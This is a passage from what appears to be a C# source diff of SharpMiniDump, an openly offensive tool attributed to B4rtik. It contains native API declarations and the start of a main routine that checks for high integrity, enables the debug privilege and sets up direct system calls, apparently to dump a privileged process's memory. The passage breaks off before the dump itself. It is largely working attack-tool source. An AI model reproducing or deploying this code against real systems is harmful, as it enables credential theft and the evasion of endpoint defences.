|
||||
{
|
||||
public UInt32 PrivilegeCount;
|
||||
public LUID_AND_ATTRIBUTES Privileges;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 0)]
|
||||
public struct IO_STATUS_BLOCK
|
||||
{
|
||||
public uint status;
|
||||
public IntPtr information;
|
||||
}
|
||||
|
||||
public struct CLIENT_ID
|
||||
{
|
||||
public IntPtr UniqueProcess;
|
||||
public IntPtr UniqueThread;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OBJECT_ATTRIBUTES
|
||||
{
|
||||
public ulong Length;
|
||||
public IntPtr RootDirectory;
|
||||
public IntPtr ObjectName;
|
||||
public ulong Attributes;
|
||||
public IntPtr SecurityDescriptor;
|
||||
public IntPtr SecurityQualityOfService;
|
||||
}
|
||||
|
||||
public enum NTSTATUS : uint
|
||||
{
|
||||
// Success
|
||||
Success = 0x00000000,
|
||||
Wait0 = 0x00000000,
|
||||
Wait1 = 0x00000001,
|
||||
Wait2 = 0x00000002,
|
||||
Wait3 = 0x00000003,
|
||||
Wait63 = 0x0000003f,
|
||||
Abandoned = 0x00000080,
|
||||
AbandonedWait0 = 0x00000080,
|
||||
AbandonedWait1 = 0x00000081,
|
||||
AbandonedWait2 = 0x00000082,
|
||||
AbandonedWait3 = 0x00000083,
|
||||
AbandonedWait63 = 0x000000bf,
|
||||
UserApc = 0x000000c0,
|
||||
KernelApc = 0x00000100,
|
||||
Alerted = 0x00000101,
|
||||
Timeout = 0x00000102,
|
||||
Pending = 0x00000103,
|
||||
Reparse = 0x00000104,
|
||||
MoreEntries = 0x00000105,
|
||||
NotAllAssigned = 0x00000106,
|
||||
SomeNotMapped = 0x00000107,
|
||||
OpLockBreakInProgress = 0x00000108,
|
||||
VolumeMounted = 0x00000109,
|
||||
RxActCommitted = 0x0000010a,
|
||||
NotifyCleanup = 0x0000010b,
|
||||
NotifyEnumDir = 0x0000010c,
|
||||
NoQuotasForAccount = 0x0000010d,
|
||||
PrimaryTransportConnectFailed = 0x0000010e,
|
||||
PageFaultTransition = 0x00000110,
|
||||
PageFaultDemandZero = 0x00000111,
|
||||
PageFaultCopyOnWrite = 0x00000112,
|
||||
PageFaultGuardPage = 0x00000113,
|
||||
PageFaultPagingFile = 0x00000114,
|
||||
CrashDump = 0x00000116,
|
||||
ReparseObject = 0x00000118,
|
||||
NothingToTerminate = 0x00000122,
|
||||
ProcessNotInJob = 0x00000123,
|
||||
ProcessInJob = 0x00000124,
|
||||
ProcessCloned = 0x00000129,
|
||||
FileLockedWithOnlyReaders = 0x0000012a,
|
||||
FileLockedWithWriters = 0x0000012b,
|
||||
|
||||
// Informational
|
||||
Informational = 0x40000000,
|
||||
ObjectNameExists = 0x40000000,
|
||||
ThreadWasSuspended = 0x40000001,
|
||||
WorkingSetLimitRange = 0x40000002,
|
||||
ImageNotAtBase = 0x40000003,
|
||||
RegistryRecovered = 0x40000009,
|
||||
|
||||
// Warning
|
||||
Warning = 0x80000000,
|
||||
GuardPageViolation = 0x80000001,
|
||||
DatatypeMisalignment = 0x80000002,
|
||||
Breakpoint = 0x80000003,
|
||||
SingleStep = 0x80000004,
|
||||
BufferOverflow = 0x80000005,
|
||||
NoMoreFiles = 0x80000006,
|
||||
HandlesClosed = 0x8000000a,
|
||||
PartialCopy = 0x8000000d,
|
||||
DeviceBusy = 0x80000011,
|
||||
InvalidEaName = 0x80000013,
|
||||
EaListInconsistent = 0x80000014,
|
||||
NoMoreEntries = 0x8000001a,
|
||||
LongJump = 0x80000026,
|
||||
DllMightBeInsecure = 0x8000002b,
|
||||
|
||||
// Error
|
||||
Error = 0xc0000000,
|
||||
Unsuccessful = 0xc0000001,
|
||||
NotImplemented = 0xc0000002,
|
||||
InvalidInfoClass = 0xc0000003,
|
||||
InfoLengthMismatch = 0xc0000004,
|
||||
AccessViolation = 0xc0000005,
|
||||
InPageError = 0xc0000006,
|
||||
PagefileQuota = 0xc0000007,
|
||||
InvalidHandle = 0xc0000008,
|
||||
BadInitialStack = 0xc0000009,
|
||||
BadInitialPc = 0xc000000a,
|
||||
InvalidCid = 0xc000000b,
|
||||
TimerNotCanceled = 0xc000000c,
|
||||
InvalidParameter = 0xc000000d,
|
||||
NoSuchDevice = 0xc000000e,
|
||||
NoSuchFile = 0xc000000f,
|
||||
InvalidDeviceRequest = 0xc0000010,
|
||||
EndOfFile = 0xc0000011,
|
||||
WrongVolume = 0xc0000012,
|
||||
NoMediaInDevice = 0xc0000013,
|
||||
NoMemory = 0xc0000017,
|
||||
ConflictingAddresses = 0xc0000018,
|
||||
NotMappedView = 0xc0000019,
|
||||
UnableToFreeVm = 0xc000001a,
|
||||
UnableToDeleteSection = 0xc000001b,
|
||||
IllegalInstruction = 0xc000001d,
|
||||
AlreadyCommitted = 0xc0000021,
|
||||
AccessDenied = 0xc0000022,
|
||||
BufferTooSmall = 0xc0000023,
|
||||
ObjectTypeMismatch = 0xc0000024,
|
||||
NonContinuableException = 0xc0000025,
|
||||
BadStack = 0xc0000028,
|
||||
NotLocked = 0xc000002a,
|
||||
NotCommitted = 0xc000002d,
|
||||
InvalidParameterMix = 0xc0000030,
|
||||
ObjectNameInvalid = 0xc0000033,
|
||||
ObjectNameNotFound = 0xc0000034,
|
||||
ObjectNameCollision = 0xc0000035,
|
||||
ObjectPathInvalid = 0xc0000039,
|
||||
ObjectPathNotFound = 0xc000003a,
|
||||
ObjectPathSyntaxBad = 0xc000003b,
|
||||
DataOverrun = 0xc000003c,
|
||||
DataLate = 0xc000003d,
|
||||
DataError = 0xc000003e,
|
||||
CrcError = 0xc000003f,
|
||||
SectionTooBig = 0xc0000040,
|
||||
PortConnectionRefused = 0xc0000041,
|
||||
InvalidPortHandle = 0xc0000042,
|
||||
SharingViolation = 0xc0000043,
|
||||
QuotaExceeded = 0xc0000044,
|
||||
InvalidPageProtection = 0xc0000045,
|
||||
MutantNotOwned = 0xc0000046,
|
||||
SemaphoreLimitExceeded = 0xc0000047,
|
||||
PortAlreadySet = 0xc0000048,
|
||||
SectionNotImage = 0xc0000049,
|
||||
SuspendCountExceeded = 0xc000004a,
|
||||
ThreadIsTerminating = 0xc000004b,
|
||||
BadWorkingSetLimit = 0xc000004c,
|
||||
IncompatibleFileMap = 0xc000004d,
|
||||
SectionProtection = 0xc000004e,
|
||||
EasNotSupported = 0xc000004f,
|
||||
EaTooLarge = 0xc0000050,
|
||||
NonExistentEaEntry = 0xc0000051,
|
||||
NoEasOnFile = 0xc0000052,
|
||||
EaCorruptError = 0xc0000053,
|
||||
FileLockConflict = 0xc0000054,
|
||||
LockNotGranted = 0xc0000055,
|
||||
DeletePending = 0xc0000056,
|
||||
CtlFileNotSupported = 0xc0000057,
|
||||
UnknownRevision = 0xc0000058,
|
||||
RevisionMismatch = 0xc0000059,
|
||||
InvalidOwner = 0xc000005a,
|
||||
InvalidPrimaryGroup = 0xc000005b,
|
||||
NoImpersonationToken = 0xc000005c,
|
||||
CantDisableMandatory = 0xc000005d,
|
||||
NoLogonServers = 0xc000005e,
|
||||
NoSuchLogonSession = 0xc000005f,
|
||||
NoSuchPrivilege = 0xc0000060,
|
||||
PrivilegeNotHeld = 0xc0000061,
|
||||
InvalidAccountName = 0xc0000062,
|
||||
UserExists = 0xc0000063,
|
||||
NoSuchUser = 0xc0000064,
|
||||
GroupExists = 0xc0000065,
|
||||
NoSuchGroup = 0xc0000066,
|
||||
MemberInGroup = 0xc0000067,
|
||||
MemberNotInGroup = 0xc0000068,
|
||||
LastAdmin = 0xc0000069,
|
||||
WrongPassword = 0xc000006a,
|
||||
IllFormedPassword = 0xc000006b,
|
||||
PasswordRestriction = 0xc000006c,
|
||||
LogonFailure = 0xc000006d,
|
||||
AccountRestriction = 0xc000006e,
|
||||
InvalidLogonHours = 0xc000006f,
|
||||
InvalidWorkstation = 0xc0000070,
|
||||
PasswordExpired = 0xc0000071,
|
||||
AccountDisabled = 0xc0000072,
|
||||
NoneMapped = 0xc0000073,
|
||||
TooManyLuidsRequested = 0xc0000074,
|
||||
LuidsExhausted = 0xc0000075,
|
||||
InvalidSubAuthority = 0xc0000076,
|
||||
InvalidAcl = 0xc0000077,
|
||||
InvalidSid = 0xc0000078,
|
||||
InvalidSecurityDescr = 0xc0000079,
|
||||
ProcedureNotFound = 0xc000007a,
|
||||
InvalidImageFormat = 0xc000007b,
|
||||
NoToken = 0xc000007c,
|
||||
BadInheritanceAcl = 0xc000007d,
|
||||
RangeNotLocked = 0xc000007e,
|
||||
DiskFull = 0xc000007f,
|
||||
ServerDisabled = 0xc0000080,
|
||||
ServerNotDisabled = 0xc0000081,
|
||||
TooManyGuidsRequested = 0xc0000082,
|
||||
GuidsExhausted = 0xc0000083,
|
||||
InvalidIdAuthority = 0xc0000084,
|
||||
AgentsExhausted = 0xc0000085,
|
||||
InvalidVolumeLabel = 0xc0000086,
|
||||
SectionNotExtended = 0xc0000087,
|
||||
NotMappedData = 0xc0000088,
|
||||
ResourceDataNotFound = 0xc0000089,
|
||||
ResourceTypeNotFound = 0xc000008a,
|
||||
ResourceNameNotFound = 0xc000008b,
|
||||
ArrayBoundsExceeded = 0xc000008c,
|
||||
FloatDenormalOperand = 0xc000008d,
|
||||
FloatDivideByZero = 0xc000008e,
|
||||
FloatInexactResult = 0xc000008f,
|
||||
FloatInvalidOperation = 0xc0000090,
|
||||
FloatOverflow = 0xc0000091,
|
||||
FloatStackCheck = 0xc0000092,
|
||||
FloatUnderflow = 0xc0000093,
|
||||
IntegerDivideByZero = 0xc0000094,
|
||||
IntegerOverflow = 0xc0000095,
|
||||
PrivilegedInstruction = 0xc0000096,
|
||||
TooManyPagingFiles = 0xc0000097,
|
||||
FileInvalid = 0xc0000098,
|
||||
InstanceNotAvailable = 0xc00000ab,
|
||||
PipeNotAvailable = 0xc00000ac,
|
||||
InvalidPipeState = 0xc00000ad,
|
||||
PipeBusy = 0xc00000ae,
|
||||
IllegalFunction = 0xc00000af,
|
||||
PipeDisconnected = 0xc00000b0,
|
||||
PipeClosing = 0xc00000b1,
|
||||
PipeConnected = 0xc00000b2,
|
||||
PipeListening = 0xc00000b3,
|
||||
InvalidReadMode = 0xc00000b4,
|
||||
IoTimeout = 0xc00000b5,
|
||||
FileForcedClosed = 0xc00000b6,
|
||||
ProfilingNotStarted = 0xc00000b7,
|
||||
ProfilingNotStopped = 0xc00000b8,
|
||||
NotSameDevice = 0xc00000d4,
|
||||
FileRenamed = 0xc00000d5,
|
||||
CantWait = 0xc00000d8,
|
||||
PipeEmpty = 0xc00000d9,
|
||||
CantTerminateSelf = 0xc00000db,
|
||||
InternalError = 0xc00000e5,
|
||||
InvalidParameter1 = 0xc00000ef,
|
||||
InvalidParameter2 = 0xc00000f0,
|
||||
InvalidParameter3 = 0xc00000f1,
|
||||
InvalidParameter4 = 0xc00000f2,
|
||||
InvalidParameter5 = 0xc00000f3,
|
||||
InvalidParameter6 = 0xc00000f4,
|
||||
InvalidParameter7 = 0xc00000f5,
|
||||
InvalidParameter8 = 0xc00000f6,
|
||||
InvalidParameter9 = 0xc00000f7,
|
||||
InvalidParameter10 = 0xc00000f8,
|
||||
InvalidParameter11 = 0xc00000f9,
|
||||
InvalidParameter12 = 0xc00000fa,
|
||||
MappedFileSizeZero = 0xc000011e,
|
||||
TooManyOpenedFiles = 0xc000011f,
|
||||
Cancelled = 0xc0000120,
|
||||
CannotDelete = 0xc0000121,
|
||||
InvalidComputerName = 0xc0000122,
|
||||
FileDeleted = 0xc0000123,
|
||||
SpecialAccount = 0xc0000124,
|
||||
SpecialGroup = 0xc0000125,
|
||||
SpecialUser = 0xc0000126,
|
||||
MembersPrimaryGroup = 0xc0000127,
|
||||
FileClosed = 0xc0000128,
|
||||
TooManyThreads = 0xc0000129,
|
||||
ThreadNotInProcess = 0xc000012a,
|
||||
TokenAlreadyInUse = 0xc000012b,
|
||||
PagefileQuotaExceeded = 0xc000012c,
|
||||
CommitmentLimit = 0xc000012d,
|
||||
InvalidImageLeFormat = 0xc000012e,
|
||||
InvalidImageNotMz = 0xc000012f,
|
||||
InvalidImageProtect = 0xc0000130,
|
||||
InvalidImageWin16 = 0xc0000131,
|
||||
LogonServer = 0xc0000132,
|
||||
DifferenceAtDc = 0xc0000133,
|
||||
SynchronizationRequired = 0xc0000134,
|
||||
DllNotFound = 0xc0000135,
|
||||
IoPrivilegeFailed = 0xc0000137,
|
||||
OrdinalNotFound = 0xc0000138,
|
||||
EntryPointNotFound = 0xc0000139,
|
||||
ControlCExit = 0xc000013a,
|
||||
PortNotSet = 0xc0000353,
|
||||
DebuggerInactive = 0xc0000354,
|
||||
CallbackBypass = 0xc0000503,
|
||||
PortClosed = 0xc0000700,
|
||||
MessageLost = 0xc0000701,
|
||||
InvalidMessage = 0xc0000702,
|
||||
RequestCanceled = 0xc0000703,
|
||||
RecursiveDispatch = 0xc0000704,
|
||||
LpcReceiveBufferExpected = 0xc0000705,
|
||||
LpcInvalidConnectionUsage = 0xc0000706,
|
||||
LpcRequestsNotAllowed = 0xc0000707,
|
||||
ResourceInUse = 0xc0000708,
|
||||
ProcessIsProtected = 0xc0000712,
|
||||
VolumeDirty = 0xc0000806,
|
||||
FileCheckedOut = 0xc0000901,
|
||||
CheckOutRequired = 0xc0000902,
|
||||
BadFileType = 0xc0000903,
|
||||
FileTooLarge = 0xc0000904,
|
||||
FormsAuthRequired = 0xc0000905,
|
||||
VirusInfected = 0xc0000906,
|
||||
VirusDeleted = 0xc0000907,
|
||||
TransactionalConflict = 0xc0190001,
|
||||
InvalidTransaction = 0xc0190002,
|
||||
TransactionNotActive = 0xc0190003,
|
||||
TmInitializationFailed = 0xc0190004,
|
||||
RmNotActive = 0xc0190005,
|
||||
RmMetadataCorrupt = 0xc0190006,
|
||||
TransactionNotJoined = 0xc0190007,
|
||||
DirectoryNotRm = 0xc0190008,
|
||||
CouldNotResizeLog = 0xc0190009,
|
||||
TransactionsUnsupportedRemote = 0xc019000a,
|
||||
LogResizeInvalidSize = 0xc019000b,
|
||||
RemoteFileVersionMismatch = 0xc019000c,
|
||||
CrmProtocolAlreadyExists = 0xc019000f,
|
||||
TransactionPropagationFailed = 0xc0190010,
|
||||
CrmProtocolNotFound = 0xc0190011,
|
||||
TransactionSuperiorExists = 0xc0190012,
|
||||
TransactionRequestNotValid = 0xc0190013,
|
||||
TransactionNotRequested = 0xc0190014,
|
||||
TransactionAlreadyAborted = 0xc0190015,
|
||||
TransactionAlreadyCommitted = 0xc0190016,
|
||||
TransactionInvalidMarshallBuffer = 0xc0190017,
|
||||
CurrentTransactionNotValid = 0xc0190018,
|
||||
LogGrowthFailed = 0xc0190019,
|
||||
ObjectNoLongerExists = 0xc0190021,
|
||||
StreamMiniversionNotFound = 0xc0190022,
|
||||
StreamMiniversionNotValid = 0xc0190023,
|
||||
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
|
||||
CantOpenMiniversionWithModifyIntent = 0xc0190025,
|
||||
CantCreateMoreStreamMiniversions = 0xc0190026,
|
||||
HandleNoLongerValid = 0xc0190028,
|
||||
NoTxfMetadata = 0xc0190029,
|
||||
LogCorruptionDetected = 0xc0190030,
|
||||
CantRecoverWithHandleOpen = 0xc0190031,
|
||||
RmDisconnected = 0xc0190032,
|
||||
EnlistmentNotSuperior = 0xc0190033,
|
||||
RecoveryNotNeeded = 0xc0190034,
|
||||
RmAlreadyStarted = 0xc0190035,
|
||||
FileIdentityNotPersistent = 0xc0190036,
|
||||
CantBreakTransactionalDependency = 0xc0190037,
|
||||
CantCrossRmBoundary = 0xc0190038,
|
||||
TxfDirNotEmpty = 0xc0190039,
|
||||
IndoubtTransactionsExist = 0xc019003a,
|
||||
TmVolatile = 0xc019003b,
|
||||
RollbackTimerExpired = 0xc019003c,
|
||||
TxfAttributeCorrupt = 0xc019003d,
|
||||
EfsNotAllowedInTransaction = 0xc019003e,
|
||||
TransactionalOpenNotAllowed = 0xc019003f,
|
||||
TransactedMappingUnsupportedRemote = 0xc0190040,
|
||||
TxfMetadataAlreadyPresent = 0xc0190041,
|
||||
TransactionScopeCallbacksNotSet = 0xc0190042,
|
||||
TransactionRequiredPromotion = 0xc0190043,
|
||||
CannotExecuteFileInTransaction = 0xc0190044,
|
||||
TransactionsNotFrozen = 0xc0190045,
|
||||
|
||||
MaximumNtStatus = 0xffffffff
|
||||
}
|
||||
|
||||
public enum SYSTEM_INFORMATION_CLASS
|
||||
{
|
||||
SystemBasicInformation = 0x0000,
|
||||
SystemProcessorInformation = 0x0001,
|
||||
SystemPerformanceInformation = 0x0002,
|
||||
SystemTimeOfDayInformation = 0x0003,
|
||||
SystemPathInformation = 0x0004,
|
||||
SystemProcessInformation = 0x0005,
|
||||
SystemCallCountInformation = 0x0006,
|
||||
SystemDeviceInformation = 0x0007,
|
||||
SystemProcessorPerformanceInformation = 0x0008,
|
||||
SystemFlagsInformation = 0x0009,
|
||||
SystemCallTimeInformation = 0x000A,
|
||||
SystemModuleInformation = 0x000B,
|
||||
SystemLocksInformation = 0x000C,
|
||||
SystemStackTraceInformation = 0x000D,
|
||||
SystemPagedPoolInformation = 0x000E,
|
||||
SystemNonPagedPoolInformation = 0x000F,
|
||||
SystemHandleInformation = 0x0010,
|
||||
SystemObjectInformation = 0x0011,
|
||||
SystemPageFileInformation = 0x0012,
|
||||
SystemVdmInstemulInformation = 0x0013,
|
||||
SystemVdmBopInformation = 0x0014,
|
||||
SystemFileCacheInformation = 0x0015,
|
||||
SystemPoolTagInformation = 0x0016,
|
||||
SystemInterruptInformation = 0x0017,
|
||||
SystemDpcBehaviorInformation = 0x0018,
|
||||
SystemFullMemoryInformation = 0x0019,
|
||||
SystemLoadGdiDriverInformation = 0x001A,
|
||||
SystemUnloadGdiDriverInformation = 0x001B,
|
||||
SystemTimeAdjustmentInformation = 0x001C,
|
||||
SystemSummaryMemoryInformation = 0x001D,
|
||||
SystemMirrorMemoryInformation = 0x001E,
|
||||
SystemPerformanceTraceInformation = 0x001F,
|
||||
SystemCrashDumpInformation = 0x0020,
|
||||
SystemExceptionInformation = 0x0021,
|
||||
SystemCrashDumpStateInformation = 0x0022,
|
||||
SystemKernelDebuggerInformation = 0x0023,
|
||||
SystemContextSwitchInformation = 0x0024,
|
||||
SystemRegistryQuotaInformation = 0x0025,
|
||||
SystemExtendServiceTableInformation = 0x0026,
|
||||
SystemPrioritySeperation = 0x0027,
|
||||
SystemVerifierAddDriverInformation = 0x0028,
|
||||
SystemVerifierRemoveDriverInformation = 0x0029,
|
||||
SystemProcessorIdleInformation = 0x002A,
|
||||
SystemLegacyDriverInformation = 0x002B,
|
||||
SystemCurrentTimeZoneInformation = 0x002C,
|
||||
SystemLookasideInformation = 0x002D,
|
||||
SystemTimeSlipNotification = 0x002E,
|
||||
SystemSessionCreate = 0x002F,
|
||||
SystemSessionDetach = 0x0030,
|
||||
SystemSessionInformation = 0x0031,
|
||||
SystemRangeStartInformation = 0x0032,
|
||||
SystemVerifierInformation = 0x0033,
|
||||
SystemVerifierThunkExtend = 0x0034,
|
||||
SystemSessionProcessInformation = 0x0035,
|
||||
SystemLoadGdiDriverInSystemSpace = 0x0036,
|
||||
SystemNumaProcessorMap = 0x0037,
|
||||
SystemPrefetcherInformation = 0x0038,
|
||||
SystemExtendedProcessInformation = 0x0039,
|
||||
SystemRecommendedSharedDataAlignment = 0x003A,
|
||||
SystemComPlusPackage = 0x003B,
|
||||
SystemNumaAvailableMemory = 0x003C,
|
||||
SystemProcessorPowerInformation = 0x003D,
|
||||
SystemEmulationBasicInformation = 0x003E,
|
||||
SystemEmulationProcessorInformation = 0x003F,
|
||||
SystemExtendedHandleInformation = 0x0040,
|
||||
SystemLostDelayedWriteInformation = 0x0041,
|
||||
SystemBigPoolInformation = 0x0042,
|
||||
SystemSessionPoolTagInformation = 0x0043,
|
||||
SystemSessionMappedViewInformation = 0x0044,
|
||||
SystemHotpatchInformation = 0x0045,
|
||||
SystemObjectSecurityMode = 0x0046,
|
||||
SystemWatchdogTimerHandler = 0x0047,
|
||||
SystemWatchdogTimerInformation = 0x0048,
|
||||
SystemLogicalProcessorInformation = 0x0049,
|
||||
SystemWow64SharedInformationObsolete = 0x004A,
|
||||
SystemRegisterFirmwareTableInformationHandler = 0x004B,
|
||||
SystemFirmwareTableInformation = 0x004C,
|
||||
SystemModuleInformationEx = 0x004D,
|
||||
SystemVerifierTriageInformation = 0x004E,
|
||||
SystemSuperfetchInformation = 0x004F,
|
||||
SystemMemoryListInformation = 0x0050,
|
||||
SystemFileCacheInformationEx = 0x0051,
|
||||
SystemThreadPriorityClientIdInformation = 0x0052,
|
||||
SystemProcessorIdleCycleTimeInformation = 0x0053,
|
||||
SystemVerifierCancellationInformation = 0x0054,
|
||||
SystemProcessorPowerInformationEx = 0x0055,
|
||||
SystemRefTraceInformation = 0x0056,
|
||||
SystemSpecialPoolInformation = 0x0057,
|
||||
SystemProcessIdInformation = 0x0058,
|
||||
SystemErrorPortInformation = 0x0059,
|
||||
SystemBootEnvironmentInformation = 0x005A,
|
||||
SystemHypervisorInformation = 0x005B,
|
||||
SystemVerifierInformationEx = 0x005C,
|
||||
SystemTimeZoneInformation = 0x005D,
|
||||
SystemImageFileExecutionOptionsInformation = 0x005E,
|
||||
SystemCoverageInformation = 0x005F,
|
||||
SystemPrefetchPatchInformation = 0x0060,
|
||||
SystemVerifierFaultsInformation = 0x0061,
|
||||
SystemSystemPartitionInformation = 0x0062,
|
||||
SystemSystemDiskInformation = 0x0063,
|
||||
SystemProcessorPerformanceDistribution = 0x0064,
|
||||
SystemNumaProximityNodeInformation = 0x0065,
|
||||
SystemDynamicTimeZoneInformation = 0x0066,
|
||||
SystemCodeIntegrityInformation = 0x0067,
|
||||
SystemProcessorMicrocodeUpdateInformation = 0x0068,
|
||||
SystemProcessorBrandString = 0x0069,
|
||||
SystemVirtualAddressInformation = 0x006A,
|
||||
SystemLogicalProcessorAndGroupInformation = 0x006B,
|
||||
SystemProcessorCycleTimeInformation = 0x006C,
|
||||
SystemStoreInformation = 0x006D,
|
||||
SystemRegistryAppendString = 0x006E,
|
||||
SystemAitSamplingValue = 0x006F,
|
||||
SystemVhdBootInformation = 0x0070,
|
||||
SystemCpuQuotaInformation = 0x0071,
|
||||
SystemNativeBasicInformation = 0x0072,
|
||||
SystemErrorPortTimeouts = 0x0073,
|
||||
SystemLowPriorityIoInformation = 0x0074,
|
||||
SystemBootEntropyInformation = 0x0075,
|
||||
SystemVerifierCountersInformation = 0x0076,
|
||||
SystemPagedPoolInformationEx = 0x0077,
|
||||
SystemSystemPtesInformationEx = 0x0078,
|
||||
SystemNodeDistanceInformation = 0x0079,
|
||||
SystemAcpiAuditInformation = 0x007A,
|
||||
SystemBasicPerformanceInformation = 0x007B,
|
||||
SystemQueryPerformanceCounterInformation = 0x007C,
|
||||
SystemSessionBigPoolInformation = 0x007D,
|
||||
SystemBootGraphicsInformation = 0x007E,
|
||||
SystemScrubPhysicalMemoryInformation = 0x007F,
|
||||
SystemBadPageInformation = 0x0080,
|
||||
SystemProcessorProfileControlArea = 0x0081,
|
||||
SystemCombinePhysicalMemoryInformation = 0x0082,
|
||||
SystemEntropyInterruptTimingInformation = 0x0083,
|
||||
SystemConsoleInformation = 0x0084,
|
||||
SystemPlatformBinaryInformation = 0x0085,
|
||||
SystemThrottleNotificationInformation = 0x0086,
|
||||
SystemHypervisorProcessorCountInformation = 0x0087,
|
||||
SystemDeviceDataInformation = 0x0088,
|
||||
SystemDeviceDataEnumerationInformation = 0x0089,
|
||||
SystemMemoryTopologyInformation = 0x008A,
|
||||
SystemMemoryChannelInformation = 0x008B,
|
||||
SystemBootLogoInformation = 0x008C,
|
||||
SystemProcessorPerformanceInformationEx = 0x008D,
|
||||
SystemSpare0 = 0x008E,
|
||||
SystemSecureBootPolicyInformation = 0x008F,
|
||||
SystemPageFileInformationEx = 0x0090,
|
||||
SystemSecureBootInformation = 0x0091,
|
||||
SystemEntropyInterruptTimingRawInformation = 0x0092,
|
||||
SystemPortableWorkspaceEfiLauncherInformation = 0x0093,
|
||||
SystemFullProcessInformation = 0x0094,
|
||||
MaxSystemInfoClass = 0x0095
|
||||
}
|
||||
|
||||
public enum TOKEN_INFORMATION_CLASS
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId,
|
||||
TokenGroupsAndPrivileges,
|
||||
TokenSessionReference,
|
||||
TokenSandBoxInert,
|
||||
TokenAuditPolicy,
|
||||
TokenOrigin,
|
||||
TokenElevationType,
|
||||
TokenLinkedToken,
|
||||
TokenElevation,
|
||||
TokenHasRestrictions,
|
||||
TokenAccessInformation,
|
||||
TokenVirtualizationAllowed,
|
||||
TokenVirtualizationEnabled,
|
||||
TokenIntegrityLevel,
|
||||
TokenUIAccess,
|
||||
TokenMandatoryPolicy,
|
||||
TokenLogonSid,
|
||||
TokenIsAppContainer,
|
||||
TokenCapabilities,
|
||||
TokenAppContainerSid,
|
||||
TokenAppContainerNumber,
|
||||
TokenUserClaimAttributes,
|
||||
TokenDeviceClaimAttributes,
|
||||
TokenRestrictedUserClaimAttributes,
|
||||
TokenRestrictedDeviceClaimAttributes,
|
||||
TokenDeviceGroups,
|
||||
TokenRestrictedDeviceGroups,
|
||||
TokenSecurityAttributes,
|
||||
TokenIsRestricted,
|
||||
MaxTokenInfoClass
|
||||
}
|
||||
|
||||
public enum TOKEN_ELEVATION_TYPE
|
||||
{
|
||||
TokenElevationTypeDefault = 1,
|
||||
TokenElevationTypeFull,
|
||||
TokenElevationTypeLimited
|
||||
}
|
||||
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
|
||||
public extern static IntPtr LoadLibraryA(string dllName);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public extern static IntPtr GetProcAddress(IntPtr dllAddr, string procName);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool GetTokenInformation( IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation,UInt32 TokenInformationLength, out UInt32 ReturnLength );
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool LookupPrivilegeValue(String lpSystemName,String lpName,ref LUID luid);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,ref TOKEN_PRIVILEGES NewState,UInt32 BufferLengthInBytes,ref TOKEN_PRIVILEGES PreviousState,out UInt32 ReturnLengthInBytes );
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
//
|
||||
// Author: B4rtik (@b4rtik)
|
||||
// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)
|
||||
// License: BSD 3-Clause
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SharpMiniDump
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
|
||||
if (IntPtr.Size != 8)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (!IsElevated())
|
||||
{
|
||||
Console.WriteLine("Run in High integrity context");
|
||||
return;
|
||||
}
|
||||
|
||||
SetDebugPrivilege();
|
||||
|
||||
Natives.WIN_VER_INFO pWinVerInfo = new Natives.WIN_VER_INFO();
|
||||
|
||||
Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW();
|
||||
osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo);
|
||||
|
||||
IntPtr ntdll = Natives.LoadLibraryA("ntdll.dll");
|
||||
IntPtr proc = Natives.GetProcAddress(ntdll, "RtlGetVersion");
|
||||
|
||||
NativeSysCall.Delegates.RtlGetVersion RtlGetVersion = (NativeSysCall.Delegates.RtlGetVersion)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.RtlGetVersion));
|
||||
|
||||
RtlGetVersion(ref osInfo);
|
||||
|
||||
pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + "." + osInfo.dwMinorVersion;
|
||||
|
||||
Console.WriteLine("OS MajorMinor version : " + pWinVerInfo.chOSMajorMinor);
|
||||
|
||||
pWinVerInfo.SystemCall = 0x3F;
|
||||
|
||||
